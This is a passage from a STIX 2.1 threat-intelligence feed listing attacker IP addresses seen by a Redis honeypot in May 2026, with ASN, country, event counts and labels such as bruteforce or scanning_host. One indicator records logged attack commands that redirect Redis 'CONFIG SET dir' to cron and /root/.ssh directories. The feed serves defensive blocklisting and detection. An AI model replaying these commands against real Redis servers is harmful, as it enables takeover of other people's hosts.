      "pattern": "[ipv4-addr:value = '178.105.129.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:25:06.000Z",
      "valid_until": "2026-06-16T12:25:04.000Z"
    },
    {
      "created": "2026-05-15T12:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=CA; asn=209334; asn_org=Modat B.V.; redis_cmd_hits=0",
      "id": "indicator--effc7c63-71f1-452f-ac78-23af0cf6311c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:25:06.000Z",
      "valid_until": "2026-06-16T12:25:04.000Z"
    },
    {
      "created": "2026-05-15T14:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--57b46c15-ae84-4190-a092-43d276595eed",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T14:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.45.38.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T14:25:03.000Z",
      "valid_until": "2026-06-16T14:25:02.000Z"
    },
    {
      "created": "2026-05-15T15:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=HK; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--9529a365-d0e4-4a5d-b8fe-1432723801c7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T15:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.238.66.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:25:12.000Z",
      "valid_until": "2026-06-16T15:25:04.000Z"
    },
    {
      "created": "2026-05-15T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=MY; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--f2e0d695-1efb-4872-9903-6dc590872055",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.250.80.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T16:25:10.000Z",
      "valid_until": "2026-06-16T16:25:09.000Z"
    },
    {
      "created": "2026-05-15T18:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--37e67c93-4350-4962-adf9-e96957a0c68f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.169.91.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:25:05.000Z",
      "valid_until": "2026-06-16T18:25:04.000Z"
    },
    {
      "created": "2026-05-15T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); redis_cmd_hits=0",
      "id": "indicator--ab70e922-93d7-4f55-8eb6-3117ca00d3b8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:25:10.000Z",
      "valid_until": "2026-06-16T19:25:09.000Z"
    },
    {
      "created": "2026-05-15T20:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--559c2125-e1cd-4bdd-93ba-9c0735421491",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T20:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.209.112.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T20:25:11.000Z",
      "valid_until": "2026-06-16T20:25:09.000Z"
    },
    {
      "created": "2026-05-16T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--511c3719-bd49-4016-8569-fd0df4db273d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-16T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.197.70.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:25:11.000Z",
      "valid_until": "2026-06-17T01:25:09.000Z"
    },
    {
      "created": "2026-05-16T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--56290187-9991-4118-bf2c-cd42ed92c57c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:25:10.000Z",
      "valid_until": "2026-06-17T02:25:09.000Z"
    },
    {
      "created": "2026-05-16T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; redis_cmds=CONFIG SET dir /var/spool/cron/crontabs,CONFIG SET dir /var/spool/cron,CONFIG SET dir /etc/cron.d,CONFIG SET dir /root/.ssh,CONFIG SET dbfilename dump.rdb; redis_cmd_hits=0; cmd=\"CONFIG SET dir /var/spool/cron/crontabs\"",
      "id": "indicator--d408e0cc-1d28-4d98-a087-cc17c4b5dbe7",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-16T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.189.93.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:25:10.000Z",
      "valid_until": "2026-06-17T02:25:09.000Z"
    },
    {
      "created": "2026-05-16T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:25:10.000Z",
      "valid_until": "2026-06-17T02:25:09.000Z"
    },
    {
      "created": "2026-05-16T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=32475; asn_org=Internap Holding LLC; redis_cmd_hits=0",
      "id": "indicator--94596175-4e57-4e86-93bc-deffbc03efa5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-16T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:25:10.000Z",
      "valid_until": "2026-06-17T08:25:09.000Z"
    },
    {
      "created": "2026-05-16T10:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--5353ebd4-9c96-4e70-90ad-e31996bb176a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T10:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.170.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:25:02.000Z",
      "valid_until": "2026-06-17T10:25:01.000Z"
    },
    {
      "created": "2026-05-16T12:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--1e4ffda7-823e-400c-b474-52c6304e6c48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T12:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T12:25:05.000Z",
      "valid_until": "2026-06-17T12:25:04.000Z"
    },
    {
      "created": "2026-05-16T12:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--05a37e5f-4bcc-4af7-86a9-97c77468bfd4",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-16T12:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '39.107.103.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T12:25:05.000Z",
      "valid_until": "2026-06-17T12:25:04.000Z"
    },
    {
      "created": "2026-05-16T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--c582a3bf-54d2-49c5-be2a-6765c02d4d95",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-16T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.232.8.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:25:10.000Z",
      "valid_until": "2026-06-17T13:25:09.000Z"
    },
    {
      "created": "2026-05-16T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--2b4016ee-e7d6-490d-8bae-4d3c4aee8acf",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-16T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.56.83.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:25:10.000Z",
      "valid_until": "2026-06-17T13:25:09.000Z"
    },
    {
      "created": "2026-05-16T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--6b0e5c49-a278-4e18-8655-70c70517ba67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.139.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:25:11.000Z",
      "valid_until": "2026-06-17T14:25:09.000Z"
    },
    {
      "created": "2026-05-16T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--0b2c4ce9-fd46-4af7-83c3-a9599ea8f0dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.71.31.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:25:11.000Z",
      "valid_until": "2026-06-17T14:25:09.000Z"
    },
    {
      "created": "2026-05-16T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=29; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:25:11.000Z",
      "valid_until": "2026-06-17T14:25:09.000Z"
    },
    {
      "created": "2026-05-16T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; redis_cmd_hits=0",
      "id": "indicator--97b9181a-0112-4469-bbb2-c7ac50f52644",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.163.184.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:25:10.000Z",
      "valid_until": "2026-06-17T18:25:09.000Z"
    },
    {
      "created": "2026-05-16T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--fb4f92f3-0c2f-45b5-8235-3a81fff0631b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-16T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.230.221.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:25:10.000Z",
      "valid_until": "2026-06-17T19:25:09.000Z"
    },
    {
      "created": "2026-05-16T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:25:10.000Z",
      "valid_until": "2026-06-17T20:25:09.000Z"
    },
    {
      "created": "2026-05-17T01:25:07.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=82; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1,GET //admin/config.php HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--8713c501-d10d-4a72-9a79-47e204cd4989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T01:25:07.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:25:07.000Z",
      "valid_until": "2026-06-18T01:25:04.000Z"
    },
    {
      "created": "2026-05-17T03:27:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--9cc4beb9-0a62-4e27-8e65-07a4e65df157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:27:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:27:03.000Z",
      "valid_until": "2026-06-18T03:25:09.000Z"
    },
    {
      "created": "2026-05-17T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=KE; asn=30844; asn_org=Liquid Telecommunications Ltd; redis_cmd_hits=0",
      "id": "indicator--f76fbdf1-6bfa-4b21-874c-c3935dffd766",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '41.84.154.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:25:10.000Z",
      "valid_until": "2026-06-18T04:25:09.000Z"
    },
    {
      "created": "2026-05-17T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=1; ports=6379; cc=PH; asn=47154; asn_org=Husam A. H. Hijazi; redis_cmd_hits=0",
      "id": "indicator--14fc0991-2e76-41d7-a986-53dfee79c618",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.110.223.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:25:10.000Z",
      "valid_until": "2026-06-18T05:25:09.000Z"
    },
    {
      "created": "2026-05-17T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--36d64297-2bc6-478a-ae34-b56629ae488c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:25:10.000Z",
      "valid_until": "2026-06-18T05:25:09.000Z"
    },
    {
      "created": "2026-05-17T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--85d439b1-fb0b-4801-a700-fb20ed3e7e53",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:25:10.000Z",
      "valid_until": "2026-06-18T05:25:09.000Z"
    },
    {
      "created": "2026-05-17T11:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--1d161537-1cc4-4cf3-89b7-77279914a060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T11:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.233.112.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T11:25:09.000Z",
      "valid_until": "2026-06-18T11:25:08.000Z"
    },
    {
      "created": "2026-05-17T11:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--6d26954d-7488-4d4b-8fdc-af8081409e3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T11:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T11:25:09.000Z",
      "valid_until": "2026-06-18T11:25:08.000Z"
    },
    {
      "created": "2026-05-17T11:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--9b77b954-e2bd-4176-b82e-3c892a40cec3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T11:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T11:25:09.000Z",
      "valid_until": "2026-06-18T11:25:08.000Z"
    },
    {
      "created": "2026-05-17T11:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--4d97ca37-f7d3-4d20-b748-965ca93f3ba3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T11:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T11:25:09.000Z",
      "valid_until": "2026-06-18T11:25:08.000Z"
    },
    {
      "created": "2026-05-17T13:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--4d6cc69a-e538-437f-8249-950e75e90002",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T13:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.207.253.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T13:25:09.000Z",
      "valid_until": "2026-06-18T13:25:08.000Z"
    },
    {
      "created": "2026-05-17T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:25:10.000Z",
      "valid_until": "2026-06-18T15:25:08.000Z"
    },
    {
      "created": "2026-05-17T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--02d7b0a0-5e2e-4efa-a779-9bfa674b1fac",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:25:10.000Z",
      "valid_until": "2026-06-18T15:25:08.000Z"
    },
    {
      "created": "2026-05-17T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=SG; asn=9009; asn_org=M247 Europe SRL; redis_cmd_hits=0",
      "id": "indicator--12c1b879-600f-48ce-8429-57d3ac760368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.199.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:25:10.000Z",
      "valid_until": "2026-06-18T16:25:09.000Z"
    },
    {
      "created": "2026-05-17T19:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--c654ff95-15b2-4246-8df5-2d961b728199",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:25:09.000Z",
      "valid_until": "2026-06-18T19:25:08.000Z"
    },
    {
      "created": "2026-05-17T20:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--420c4abe-37f1-4428-86c1-12fb791c55b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
